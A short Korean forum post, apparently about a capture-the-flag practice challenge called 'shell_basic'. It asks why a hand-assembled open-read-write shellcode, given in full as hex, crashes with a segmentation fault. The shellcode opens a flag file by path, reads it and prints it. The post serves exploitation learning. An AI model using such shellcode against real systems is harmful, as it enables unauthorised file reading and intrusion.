segmentation fail이 뜨는데 어떤부분이 잘못된건지 못찾겠어요

orw를 참조해서 opcode를 뽑았는데...
shell_basic에 넣어봤는데 세그멘테이션이 뜹니다... gdb로 어디가 잘못된건지 찾아봤는데 잘모르겠어서요..

4831c05048b86f6f6f6f6f6f6e675048b8616d655f69735f6c5048b8632f666c61675f6e5048b8656c6c5f626173695048b82f686f6d652f7368504889e04889c7be00000000ba00000000b8020000000f054889c74889e64883ee30ba300000004831c00f05bf01000000b8010000000f054831ffb83c0000000f05

#pwnable